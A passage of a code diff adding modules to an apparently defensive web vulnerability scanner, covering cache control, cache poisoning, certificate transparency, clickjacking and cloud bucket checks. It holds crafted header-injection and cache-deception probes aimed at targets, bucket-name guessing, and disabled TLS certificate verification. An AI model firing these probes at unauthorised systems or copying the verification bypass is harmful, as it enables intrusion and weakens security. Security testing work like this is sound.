 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ cache_control_scanner.py — Browser Cache Control Scanner
3
+ """
4
+ import urllib.request, urllib.error
5
+ from scanners.base_scanner import BaseScanner
6
+
7
+ SENSITIVE_PATHS = [
8
+ "/account", "/profile", "/dashboard", "/settings", "/api/me",
9
+ "/api/user", "/admin", "/invoices", "/billing", "/orders",
10
+ "/payment", "/statements", "/reports",
11
+ ]
12
+
13
+ class CacheControlScanner(BaseScanner):
14
+ SCANNER_NAME = "Browser Cache Control Scanner"
15
+ _SCANNER_KEY = "cache_control"
16
+ def __init__(self, scan_id, target, domain, **kwargs):
17
+ super().__init__(scan_id, target, domain, **kwargs)
18
+
19
+ def run(self) -> list:
20
+ self.log("INFO", f"[CacheControl] Checking Cache-Control headers on sensitive pages of {self.target}...")
21
+ base = self.target.rstrip("/")
22
+ risky = []
23
+
24
+ # Check main page
25
+ for path in [""] + SENSITIVE_PATHS:
26
+ url = base + path if path else base
27
+ headers, status = self._get_headers(url)
28
+ if status not in (200, 302): continue
29
+ cc = headers.get("cache-control", "").lower()
30
+ pragma = headers.get("pragma", "").lower()
31
+ ct = headers.get("content-type", "").lower()
32
+ # Skip non-HTML/JSON (images, CSS, etc.)
33
+ if any(t in ct for t in ("image/", "text/css", "font/", "javascript")): continue
34
+ # Vulnerable if no-store is absent
35
+ if "no-store" not in cc:
36
+ risky.append({
37
+ "url": url, "cache-control": cc or "(missing)",
38
+ "pragma": pragma or "(missing)", "status": status
39
+ })
40
+
41
+ if risky:
42
+ self.add_vuln(
43
+ title=f"Sensitive Pages Cacheable by Browser ({len(risky)} pages)",
44
+ severity="Medium",
45
+ category="Information Disclosure",
46
+ cvss_score=5.3,
47
+ description="The following authenticated/sensitive pages lack `Cache-Control: no-store`, "
48
+ "allowing browsers and shared proxies to cache the responses. On shared/public devices, "
49
+ "a subsequent user can press Back or access the browser cache to retrieve private data:\n\n" +
50
+ "\n".join(f"- `{r['url']}` — Cache-Control: `{r['cache-control']}`" for r in risky[:8]),
51
+ remediation="Add to all authenticated responses:\n"
52
+ "`Cache-Control: no-store, no-cache, must-revalidate, max-age=0`\n"
53
+ "`Pragma: no-cache`\n"
54
+ "`Expires: 0`",
55
+ )
56
+ else:
57
+ self.log("SUCCESS", "[CacheControl] All sensitive pages properly set Cache-Control: no-store.")
58
+ return self.vulns
59
+
60
+ def _get_headers(self, url):
61
+ try:
62
+ req = urllib.request.Request(url, headers=self._make_headers())
63
+ with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
64
+ return {k.lower(): v for k, v in r.headers.items()}, r.status
65
+ except urllib.error.HTTPError as e:
66
+ return {k.lower(): v for k, v in e.headers.items()}, e.code
67
+ except Exception as e:
68
+ self.log("ERROR", f"[CacheControl] _get_headers error: {e}")
69
+ return {}, 0
backend/scanners/cache_poisoning_scanner.py ADDED
@@ -0,0 +1,194 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ cache_poisoning_scanner.py — Web Cache Poisoning Scanner
3
+ =========================================================
4
+ Tests whether unkeyed HTTP headers (X-Forwarded-Host, X-Original-URL,
5
+ X-Rewrite-URL) are reflected in the response, enabling CDN/reverse-proxy
6
+ cache poisoning.
7
+ """
8
+ import urllib.parse, time
9
+ from scanners.base_scanner import BaseScanner
10
+ from utils.anomaly import TimingAnomalyDetector
11
+ from utils.callback import build_callback_url
12
+
13
+ UNKEYED_HEADERS = [
14
+ ("X-Forwarded-Host", "wss-cache-poison-test.evil"),
15
+ ("X-Original-URL", "/wss-cache-poison-probe"),
16
+ ("X-Rewrite-URL", "/wss-cache-poison-probe"),
17
+ ("X-Forwarded-Scheme", "nothttps"),
18
+ ("X-Forwarded-Proto", "nothttps"),
19
+ ("X-Host", "wss-cache-poison-test.evil"),
20
+ ]
21
+
22
+
23
+ class CachePoisoningScanner(BaseScanner):
24
+ SCANNER_NAME = "Web Cache Poisoning Scanner"
25
+ _SCANNER_KEY = "cache_poisoning"
26
+
27
+ def __init__(self, scan_id, target, domain, **kwargs):
28
+ super().__init__(scan_id, target, domain, **kwargs)
29
+ self._timing = TimingAnomalyDetector()
30
+
31
+ def run(self) -> list:
32
+ self.log("INFO", f"[CachePoison] Testing cache poisoning via unkeyed headers on {self.target}...")
33
+
34
+ cwe = ["CWE-644"]
35
+ owasp = "A04:2021 – Insecure Design"
36
+ self._cwe = cwe
37
+ self._owasp = owasp
38
+
39
+ for header_name, header_val in UNKEYED_HEADERS:
40
+ self._test_unkeyed_header(header_name, header_val)
41
+
42
+ self._test_callback_header()
43
+ self._test_cache_key_confusion()
44
+ self._test_web_cache_deception()
45
+
46
+ if not self.vulns:
47
+ self.log("SUCCESS", "[CachePoison] No cache poisoning vectors detected.")
48
+ return self.vulns
49
+
50
+ def _test_unkeyed_header(self, header_name, header_val):
51
+ body, status, resp_headers = self._make_request(
52
+ self.target,
53
+ headers={"User-Agent": "LarShield/2.0", header_name: header_val},
54
+ return_response_obj=True,
55
+ )
56
+
57
+ if body is None:
58
+ self.log("ERROR", f"[CachePoison] Request failed for header {header_name}")
59
+ return
60
+
61
+ reflected_in_body = header_val in body
62
+ reflected_in_headers = any(header_val in v for v in resp_headers.values())
63
+
64
+ if reflected_in_body or reflected_in_headers:
65
+ location = "response body" if reflected_in_body else "response headers"
66
+ self.add_vuln(
67
+ title=f"Cache Poisoning via Unkeyed Header: {header_name}",
68
+ severity="High",
69
+ category="Cache Poisoning",
70
+ cvss_score=7.4,
71
+ description=f"Injecting `{header_name}: {header_val}` caused the value to be "
72
+ f"reflected in the {location}. If the CDN/reverse proxy caches this response "
73
+ f"without keying on `{header_name}`, all subsequent users will receive the "
74
+ f"poisoned response, enabling XSS or phishing at scale.",
75
+ remediation=f"1. Configure the cache to vary on `{header_name}` or strip it.\n"
76
+ f"2. The application should not reflect `{header_name}` in output.\n"
77
+ f"3. Use Cache-Control: private, no-store for sensitive pages.\n"
78
+ f"4. Test with: `curl -H '{header_name}: evil' {self.target}`",
79
+ evidence=f"Value '{header_val}' reflected in {location}",
80
+ payload=f"{header_name}: {header_val}",
81
+ request_details=f"GET with {header_name}: {header_val}",
82
+ response_details=f"Reflected in {location}",
83
+ confidence="Confirmed",
84
+ cwe_ids=self._cwe,
85
+ owasp_category=self._owasp,
86
+ )
87
+ self.log("WARNING", f"[CachePoison] Reflected {header_name} in {location}!")
88
+ else:
89
+ self.log("SUCCESS", f"[CachePoison] {header_name}: Not reflected")
90
+
91
+ def _test_cache_key_confusion(self):
92
+ self.log("INFO", "[CachePoison] Testing cache key confusion...")
93
+ try:
94
+ probe_val = "wss-cache-confusion-probe"
95
+ body, status, resp_headers = self._make_request(
96
+ self.target,
97
+ headers={
98
+ "User-Agent": "LarShield/2.0",
99
+ "X-Forwarded-Host": probe_val,
100
+ "X-Host": probe_val,
101
+ },
102
+ return_response_obj=True,
103
+ )
104
+ if body and probe_val in body:
105
+ self.add_vuln(
106
+ title="Cache Key Confusion — Multiple Unkeyed Headers",
107
+ severity="High",
108
+ category="Cache Poisoning",
109
+ cvss_score=7.0,
110
+ description="Multiple unkeyed headers (X-Forwarded-Host and X-Host) were sent together and their value was reflected. An attacker can exploit cache key confusion by injecting different values that get merged into the cached response.",
111
+ remediation="Normalize or strip all unkeyed headers at the reverse proxy before they reach the application.",
112
+ evidence=f"Probe value '{probe_val}' reflected in body",
113
+ payload=f"X-Forwarded-Host: {probe_val}, X-Host: {probe_val}",
114
+ request_details="GET with multiple conflicting host headers",
115
+ response_details=f"Reflected probe in body",
116
+ confidence="High",
117
+ cwe_ids=self._cwe,
118
+ owasp_category=self._owasp,
119
+ )
120
+ except Exception as e:
121
+ self.log("ERROR", f"[CachePoison] Cache key confusion test error: {e}")
122
+
123
+ def _test_callback_header(self):
124
+ self.log("INFO", "[CachePoison] Testing callback-based cache poisoning...")
125
+ callback_url = build_callback_url("/cache-poison")
126
+ for header_name in ["X-Forwarded-Host", "X-Host", "X-Original-URL"]:
127
+ body, status, resp_headers = self._make_request(
128
+ self.target,
129
+ headers={header_name: callback_url},
130
+ return_response_obj=True,
131
+ )
132
+ if body and callback_url in body:
133
+ self.add_vuln(
134
+ title=f"Cache Poisoning via Callback URL in {header_name}",
135
+ severity="Critical",
136
+ category="Cache Poisoning",
137
+ cvss_score=8.6,
138
+ description=f"Injecting a callback URL in `{header_name}` was reflected in the response. "
139
+ "This confirms the header is unkeyed and can be used for blind cache poisoning "
140
+ "with out-of-band detection.",
141
+ remediation=f"Strip or key `{header_name}`. Validate header values at the proxy.",
142
+ evidence=f"Callback URL '{callback_url}' reflected in body",
143
+ payload=f"{header_name}: {callback_url}",
144
+ request_details=f"GET with {header_name}: {callback_url}",
145
+ response_details="Callback URL reflected in body",
146
+ confidence="Confirmed",
147
+ cwe_ids=self._cwe,
148
+ owasp_category=self._owasp,
149
+ )
150
+ self.log("WARNING", f"[CachePoison] Callback reflected via {header_name}!")
151
+
152
+ def _test_web_cache_deception(self):
153
+ self.log("INFO", "[CachePoison] Testing web cache deception...")
154
+ try:
155
+ parsed = urllib.parse.urlparse(self.target)
156
+ deception_path = parsed.path.rstrip("/") + "/nonexistent.css"
157
+ test_url = parsed._replace(path=deception_path).geturl()
158
+
159
+ t0 = time.monotonic()
160
+ body, status, resp_headers = self._make_request(
161
+ test_url, return_response_obj=True,
162
+ )
163
+ elapsed = time.monotonic() - t0
164
+ self._timing.record_timing(f"deception_{test_url}", elapsed)
165
+
166
+ if body and status == 200 and "text/css" not in str(resp_headers.get("Content-Type", "")):
167
+ cache_ctl = str(resp_headers.get("Cache-Control", ""))
168
+ if "public" in cache_ctl or ("max-age" in cache_ctl and int(resp_headers.get("Content-Length", "0") or "0") > 100):
169
+ timing_anomaly = self._timing.is_anomalous(elapsed, 2.5)
170
+ sev = "Critical" if timing_anomaly else "Medium"
171
+ cvss = 8.0 if timing_anomaly else 5.4
172
+ self.add_vuln(
173
+ title="Web Cache Deception — Static Extension Serves Dynamic Content" +
174
+ (" (Timing Anomaly)" if timing_anomaly else ""),
175
+ severity=sev,
176
+ category="Cache Poisoning",
177
+ cvss_score=cvss,
178
+ description=f"Appending '.css' to the path returns a 200 response with non-CSS content. "
179
+ "If the CDN caches this based on extension, an attacker can trick users into "
180
+ "leaking sensitive data via cached responses.",
181
+ remediation="Configure the cache to not cache based on file extension alone. "
182
+ "Use Cache-Control: no-store for sensitive pages. Reject or redirect unknown paths.",
183
+ evidence=f"GET {test_url} returned {status} with Content-Type: "
184
+ f"{resp_headers.get('Content-Type', 'N/A')}",
185
+ payload=deception_path,
186
+ request_details=f"GET {test_url}",
187
+ response_details=f"Status: {status}, Content-Type: "
188
+ f"{resp_headers.get('Content-Type', 'N/A')}",
189
+ confidence="Medium",
190
+ cwe_ids=["CWE-444"],
191
+ owasp_category=self._owasp,
192
+ )
193
+ except Exception as e:
194
+ self.log("ERROR", f"[CachePoison] Web cache deception test error: {e}")
backend/scanners/cert_transparency_scanner.py ADDED
@@ -0,0 +1,70 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ cert_transparency_scanner.py — Certificate Transparency Scanner
3
+ """
4
+ import json, urllib.request
5
+ from scanners.base_scanner import BaseScanner
6
+
7
+ class CertTransparencyScanner(BaseScanner):
8
+ SCANNER_NAME = "Certificate Transparency Scanner"
9
+ _SCANNER_KEY = "cert_transparency"
10
+ def __init__(self, scan_id, target, domain, **kwargs):
11
+ super().__init__(scan_id, target, domain, **kwargs)
12
+
13
+ def run(self) -> list:
14
+ self.log("INFO", f"[CertTransp] Querying crt.sh for {self.domain}...")
15
+ try:
16
+ url = f"https://crt.sh/?q=%25.{self.domain}&output=json"
17
+ req = urllib.request.Request(url, headers=self._make_headers())
18
+ with urllib.request.urlopen(req, timeout=15, context=self.get_ssl_context()) as r:
19
+ data = json.loads(r.read().decode("utf-8", errors="ignore"))
20
+ except Exception as e:
21
+ self.log("WARNING", f"[CertTransp] crt.sh query failed: {e}")
22
+ return self.vulns
23
+
24
+ if not data:
25
+ self.log("INFO", "[CertTransp] No CT log entries found.")
26
+ return self.vulns
27
+
28
+ # Extract unique subdomains
29
+ subdomains = set()
30
+ for entry in data:
31
+ name = entry.get("name_value", "")
32
+ for line in name.split("\n"):
33
+ line = line.strip().lower()
34
+ if line and line != self.domain and self.domain in line:
35
+ subdomains.add(line)
36
+
37
+ if len(subdomains) > 5:
38
+ self.add_vuln(
39
+ title=f"Certificate Transparency: {len(subdomains)} Subdomains Discovered",
40
+ severity="Low", category="Reconnaissance", cvss_score=0.0,
41
+ description=f"CT logs reveal {len(subdomains)} subdomains for `{self.domain}`:\n\n" +
42
+ "\n".join(f"- `{s}`" for s in sorted(subdomains)[:30]),
43
+ remediation="Audit all discovered subdomains. Decommission unused ones. "
44
+ "Use wildcard certs sparingly as they expose the full scope of your infrastructure.")
45
+
46
+ # Check for expired certs
47
+ from datetime import datetime, timezone
48
+ expired = []
49
+ for entry in data[:50]:
50
+ try:
51
+ not_after = entry.get("not_after", "")
52
+ exp_date = datetime.strptime(not_after, "%Y-%m-%dT%H:%M:%S").replace(tzinfo=timezone.utc)
53
+ if exp_date < datetime.now(timezone.utc):
54
+ cn = entry.get("common_name", "unknown")
55
+ if cn not in [e[0] for e in expired]:
56
+ expired.append((cn, not_after))
57
+ except Exception as e:
58
+ self.log("ERROR", f"[CertTransp] entry parsing error: {e}")
59
+ continue
60
+
61
+ if expired:
62
+ self.add_vuln(
63
+ title=f"Expired Certificates Found ({len(expired)})",
64
+ severity="Low", category="Certificate Management", cvss_score=3.5,
65
+ description=f"Expired certificates in CT logs:\n\n" +
66
+ "\n".join(f"- `{cn}` expired {d}" for cn, d in expired[:10]),
67
+ remediation="Renew or revoke expired certificates. Use automated renewal (Let's Encrypt, certbot).")
68
+
69
+ self.log("SUCCESS", f"[CertTransp] Found {len(subdomains)} subdomains, {len(expired)} expired certs.")
70
+ return self.vulns
backend/scanners/clickjacking_scanner.py ADDED
@@ -0,0 +1,179 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ clickjacking_scanner.py — Clickjacking Vulnerability Scanner
3
+ =============================================================
4
+ Detects clickjacking vulnerabilities through multiple vectors:
5
+ - X-Frame-Options header (DENY / SAMEORIGIN / ALLOWFROM)
6
+ - CSP frame-ancestors directive
7
+ - JavaScript framebusting code detection
8
+ - Attempts to verify if the page can actually be framed
9
+ - Scores the overall clickjacking protection level
10
+ """
11
+ import re
12
+ import urllib.request
13
+ import urllib.error
14
+ from scanners.base_scanner import BaseScanner
15
+
16
+ FRAMEBUSTING_RE = re.compile(
17
+ r"(top\.location|self\.location|parent\.location|"
18
+ r"window\.top\s*!==\s*window\.self|"
19
+ r"if\s*\(\s*window\s*!==\s*window\.top|"
20
+ r"if\s*\(\s*self\s*!==\s*top)",
21
+ re.I
22
+ )
23
+
24
+
25
+ class ClickjackingScanner(BaseScanner):
26
+ SCANNER_NAME = "Clickjacking Vulnerability Scanner"
27
+ _SCANNER_KEY = "clickjacking"
28
+
29
+ def __init__(self, scan_id, target, domain, **kwargs):
30
+ super().__init__(scan_id, target, domain, **kwargs)
31
+
32
+ def run(self) -> list:
33
+ self.log("INFO", f"[Clickjacking] Auditing clickjacking protection on {self.target}...")
34
+ try:
35
+ headers, body = self._fetch()
36
+ self._audit(headers, body)
37
+ except Exception as e:
38
+ self.log("ERROR", f"[Clickjacking] Audit error: {e}")
39
+
40
+ self.log(
41
+ "SUCCESS" if not self.vulns else "WARNING",
42
+ f"[Clickjacking] Audit complete. {len(self.vulns)} issue(s).",
43
+ )
44
+ return self.vulns
45
+
46
+ def _fetch(self):
47
+ body, status, resp_headers = self._make_request(
48
+ self.target,
49
+ headers={"User-Agent": "LarShield/2.0 Clickjacking-Audit"},
50
+ return_response_obj=True,
51
+ )
52
+ headers = {k.lower(): v for k, v in resp_headers.items()} if resp_headers else {}
53
+ return headers, body or ""
54
+
55
+ def _audit(self, headers: dict, body: str):
56
+ xfo = headers.get("x-frame-options", "").upper()
57
+ csp = headers.get("content-security-policy", "")
58
+ has_framebusting = bool(FRAMEBUSTING_RE.search(body))
59
+
60
+ xfo_protected = xfo in ("DENY", "SAMEORIGIN") or xfo.startswith("ALLOW-FROM")
61
+ csp_protected = "frame-ancestors" in csp.lower()
62
+
63
+ if not xfo:
64
+ self.log("WARNING", "[Clickjacking] X-Frame-Options header is missing")
65
+ self.add_vuln(
66
+ title="Missing X-Frame-Options Header",
67
+ severity="Medium",
68
+ category="Clickjacking",
69
+ cvss_score=5.4,
70
+ description=f"The response from `{self.target}` does not include an "
71
+ "`X-Frame-Options` header. Without this header (or a CSP frame-ancestors "
72
+ "directive), the page can be embedded in an iframe on any origin, "
73
+ "enabling clickjacking attacks.",
74
+ remediation="Add to your web server configuration:\n"
75
+ " Nginx: add_header X-Frame-Options \"DENY\" always;\n"
76
+ " Apache: Header always set X-Frame-Options \"DENY\"\n"
77
+ "Or use CSP: Content-Security-Policy: frame-ancestors 'none';",
78
+ evidence="X-Frame-Options header missing from response",
79
+ request_details=f"GET {self.target}",
80
+ response_details="No X-Frame-Options header",
81
+ confidence="Confirmed",
82
+ )
83
+ elif xfo == "ALLOWALL" or xfo.startswith("ALLOW-FROM"):
84
+ self.add_vuln(
85
+ title=f"X-Frame-Options Set to Permissive Value: '{xfo}'",
86
+ severity="Medium",
87
+ category="Clickjacking",
88
+ cvss_score=4.3,
89
+ description=f"The `X-Frame-Options` header is set to `{xfo}`, which "
90
+ "may allow framing from specific or all origins depending on the value. "
91
+ "ALLOW-FROM is also deprecated and ignored by Chrome/Safari.",
92
+ remediation="Use X-Frame-Options: DENY or SAMEORIGIN. "
93
+ "For fine-grained control use CSP frame-ancestors instead.",
94
+ evidence=f"X-Frame-Options: {xfo}",
95
+ request_details=f"GET {self.target}",
96
+ response_details=f"X-Frame-Options: {xfo}",
97
+ confidence="High",
98
+ )
99
+ else:
100
+ self.log("SUCCESS", f"[Clickjacking] X-Frame-Options: {xfo}")
101
+
102
+ if not csp_protected:
103
+ if xfo_protected:
104
+ self.add_vuln(
105
+ title="CSP frame-ancestors Missing (X-Frame-Options Present as Fallback)",
106
+ severity="Low",
107
+ category="Clickjacking",
108
+ cvss_score=2.0,
109
+ description="X-Frame-Options is set correctly, but the CSP header does not "
110
+ "include `frame-ancestors`. CSP frame-ancestors supersedes X-Frame-Options "
111
+ "in modern browsers and provides finer-grained control.",
112
+ remediation="Add: Content-Security-Policy: frame-ancestors 'none'; "
113
+ "for defence-in-depth.",
114
+ evidence="CSP header present but no frame-ancestors directive",
115
+ request_details=f"GET {self.target}",
116
+ response_details="CSP missing frame-ancestors",
117
+ confidence="Medium",
118
+ )
119
+ else:
120
+ fa_match = re.search(r"frame-ancestors\s+([^;]+)", csp, re.I)
121
+ if fa_match:
122
+ fa_value = fa_match.group(1).strip()
123
+ if fa_value in ("*", "http: https:"):
124
+ self.add_vuln(
125
+ title=f"CSP frame-ancestors Allows All Origins: '{fa_value}'",
126
+ severity="High",
127
+ category="Clickjacking",
128
+ cvss_score=7.4,
129
+ description=f"The CSP `frame-ancestors` directive is set to `{fa_value}`, "
130
+ "allowing any origin to embed this page in an iframe.",
131
+ remediation="Set: frame-ancestors 'none'; or frame-ancestors 'self';",
132
+ evidence=f"frame-ancestors: {fa_value}",
133
+ payload=fa_value,
134
+ request_details=f"GET {self.target}",
135
+ response_details=f"CSP frame-ancestors: {fa_value}",
136
+ confidence="Confirmed",
137
+ )
138
+ else:
139
+ self.log("SUCCESS", f"[Clickjacking] CSP frame-ancestors: {fa_value}")
140
+
141
+ if has_framebusting and not (xfo_protected or csp_protected):
142
+ self.add_vuln(
143
+ title="JavaScript Framebusting Only — Bypassable Clickjacking Protection",
144
+ severity="Medium",
145
+ category="Clickjacking",
146
+ cvss_score=5.4,
147
+ description="The page relies solely on JavaScript-based framebusting code "
148
+ "(e.g. `if (top !== self) top.location = self.location`). "
149
+ "This can be bypassed via the `sandbox` attribute on iframes: "
150
+ "`<iframe sandbox='allow-forms' ...>`.",
151
+ remediation="Replace JavaScript framebusting with X-Frame-Options or "
152
+ "CSP frame-ancestors headers, which are enforced by the browser and "
153
+ "cannot be bypassed.",
154
+ evidence="JavaScript framebusting code detected in response body",
155
+ request_details=f"GET {self.target}",
156
+ response_details="Framebusting JS found, no header protection",
157
+ confidence="High",
158
+ )
159
+ elif has_framebusting:
160
+ self.log("INFO", "[Clickjacking] JavaScript framebusting also detected (defence-in-depth)")
161
+
162
+ if not xfo_protected and not csp_protected and not has_framebusting:
163
+ self.log("CRITICAL", "[Clickjacking] Page is fully unprotected against clickjacking!")
164
+ self.add_vuln(
165
+ title="Page Fully Unprotected Against Clickjacking",
166
+ severity="High",
167
+ category="Clickjacking",
168
+ cvss_score=7.4,
169
+ description=f"`{self.target}` has no X-Frame-Options, no CSP frame-ancestors, "
170
+ "and no JavaScript framebusting. Any external site can embed this page "
171
+ "in an invisible iframe and trick authenticated users into performing "
172
+ "unintended actions (e.g. transferring funds, changing settings).",
173
+ remediation="Add immediately: add_header X-Frame-Options \"DENY\" always; "
174
+ "and Content-Security-Policy: frame-ancestors 'none';",
175
+ evidence="No X-Frame-Options, no CSP frame-ancestors, no framebusting JS",
176
+ request_details=f"GET {self.target}",
177
+ response_details="Fully unprotected response",
178
+ confidence="Confirmed",
179
+ )
backend/scanners/cloud_scanner.py ADDED
@@ -0,0 +1,62 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import urllib.request, urllib.error, ssl, socket
2
+ from scanners.base_scanner import BaseScanner
3
+
4
+ class CloudScanner(BaseScanner):
5
+ SCANNER_NAME = "Cloud Storage Enumerator (S3/Azure/GCP)"
6
+
7
+ def __init__(self, scan_id, target, domain, **kwargs):
8
+ super().__init__(scan_id, target, domain)
9
+ self._ctx = ssl.create_default_context()
10
+ self._ctx.check_hostname = False
11
+ self._ctx.verify_mode = ssl.CERT_NONE
12
+
13
+ # Clean domain for permutation (e.g., test.com -> test)
14
+ parts = self.domain.split('.')
15
+ self.base_name = parts[0] if len(parts) > 1 else self.domain
16
+
17
+ def check_bucket(self, url, provider_name):
18
+ try:
19
+ req = urllib.request.Request(url, headers={"User-Agent": "LarShield/2.0 Cloud-Enum"})
20
+ with urllib.request.urlopen(req, timeout=3, context=self._ctx) as resp:
21
+ body = resp.read().decode("utf-8", errors="ignore")
22
+
23
+ # Check for open bucket listings (XML)
24
+ if "<ListBucketResult" in body or "<Blobs>" in body:
25
+ self.log("CRITICAL", f"[Cloud] {provider_name} bucket is publicly listable: {url}")
26
+ self.add_vuln(
27
+ title=f"Publicly Accessible {provider_name} Bucket",
28
+ severity="Critical",
29
+ category="Cloud Security",
30
+ cvss_score=9.8,
31
+ description=f"A misconfigured {provider_name} bucket was found at `{url}`. It allows unauthenticated users to list all files, potentially exposing PII, backups, or source code.",
32
+ remediation=f"Immediately modify the {provider_name} IAM/ACL policies. Remove 'List' and 'Read' permissions for anonymous users or the public 'AllUsers' group."
33
+ )
34
+ elif resp.status in [200, 403]: # Even 403 means the bucket exists, which is info disclosure
35
+ pass
36
+ except urllib.error.HTTPError as e:
37
+ if e.code not in [404, 400, 403, 502, 503, 504]:
38
+ self.log("ERROR", f"[Cloud] Bucket check HTTP error: {e}")
39
+ except urllib.error.URLError as e:
40
+ if "getaddrinfo failed" not in str(e) and "Name or service not known" not in str(e):
41
+ self.log("ERROR", f"[Cloud] Bucket check URL error: {e}")
42
+ except Exception as e:
43
+ self.log("ERROR", f"[Cloud] Bucket check error: {e}")
44
+
45
+ def run(self):
46
+ self.log("INFO", f"[Cloud] Enumerating misconfigured cloud storage for '{self.base_name}'...")
47
+
48
+ # Common bucket mutations
49
+ suffixes = ["", "-prod", "-dev", "-staging", "-assets", "-backup", "-static", "-public"]
50
+
51
+ for suffix in suffixes:
52
+ bucket_name = f"{self.base_name}{suffix}"
53
+
54
+ # AWS S3
55
+ self.check_bucket(f"https://{bucket_name}.s3.amazonaws.com/", "AWS S3")
56
+ # GCP Storage
57
+ self.check_bucket(f"https://storage.googleapis.com/{bucket_name}/", "GCP Storage")
58
+ # Azure Blob
59
+ self.check_bucket(f"https://{bucket_name}.blob.core.windows.net/?comp=list", "Azure Blob")
60
+
61
+ self.log("SUCCESS" if not self.vulns else "WARNING", "[Cloud] Enumeration complete.")
62
+ return self.vulns
backend/scanners/cms_scanner.py ADDED
@@ -0,0 +1,207 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ cms_scanner.py — CMS Detection & Vulnerability Scanner
3
+ =======================================================
4
+ Detects popular CMS platforms (WordPress, Drupal, Joomla) and checks
5
+ for exposed admin panels, sensitive endpoints (xmlrpc.php), and known
6
+ fingerprints.
7
+ """
8
+ import re
9
+ from scanners.base_scanner import BaseScanner
10
+ from utils.fingerprint_db import match_tech, find_cves
11
+
12
+ CMS_FINGERPRINTS = {
13
+ "WordPress": [
14
+ ("/wp-login.php", "wp-submit"),
15
+ ("/xmlrpc.php", "XML-RPC server accepts POST requests only"),
16
+ ("/wp-json/wp/v2/users", "slug"),
17
+ ("/wp-admin/", "wp-admin"),
18
+ ("/wp-content/", "wp-content"),
19
+ ],
20
+ "Drupal": [
21
+ ("/user/login", "form_id\" value=\"user_login"),
22
+ ("/CHANGELOG.txt", "Drupal"),
23
+ ("/sites/default/files/", "Drupal"),
24
+ ("/core/", "Drupal"),
25
+ ],
26
+ "Joomla": [
27
+ ("/administrator/", "Joomla!"),
28
+ ("/components/", "option="),
29
+ ("/modules/", "mod_"),
30
+ ],
31
+ "Magento": [
32
+ ("/admin/", "Magento"),
33
+ ("/static/version", "version"),
34
+ ("/skin/frontend/", "Magento"),
35
+ ],
36
+ "Shopify": [
37
+ ("/admin/", "Shopify"),
38
+ ("/admin/auth/login", "shopify"),
39
+ ],
40
+ "Squarespace": [
41
+ ("/config/", "Squarespace"),
42
+ ("/api/v1/", "squarespace"),
43
+ ],
44
+ "Wix": [
45
+ ("/_api/", "wix"),
46
+ ("/wix-", "Wix"),
47
+ ],
48
+ "Blogger": [
49
+ ("/feeds/posts/default", "atom"),
50
+ ("/blog-", "blogger"),
51
+ ],
52
+ "Ghost": [
53
+ ("/ghost/", "Ghost"),
54
+ ("/ghost/api/", "ghost"),
55
+ ],
56
+ "TYPO3": [
57
+ ("/typo3/", "TYPO3"),
58
+ ("/typo3conf/", "typo3"),
59
+ ],
60
+ "PrestaShop": [
61
+ ("/admin/", "PrestaShop"),
62
+ ("/js/tools.js", "PrestaShop"),
63
+ ],
64
+ "Django CMS": [
65
+ ("/admin/", "django"),
66
+ ("/cms/", "cms"),
67
+ ],
68
+ }
69
+
70
+ CMS_VERSION_PATTERNS = {
71
+ "WordPress": [
72
+ (r'<meta name="generator" content="WordPress ([0-9.]+)"', "meta generator"),
73
+ (r'ver=([0-9.]+)"', "script param"),
74
+ (r'/wp-includes/js/wp-embed.min.js\?ver=([0-9.]+)', "wp-embed"),
75
+ ],
76
+ "Drupal": [
77
+ (r'Drupal ([0-9.]+)', "footer"),
78
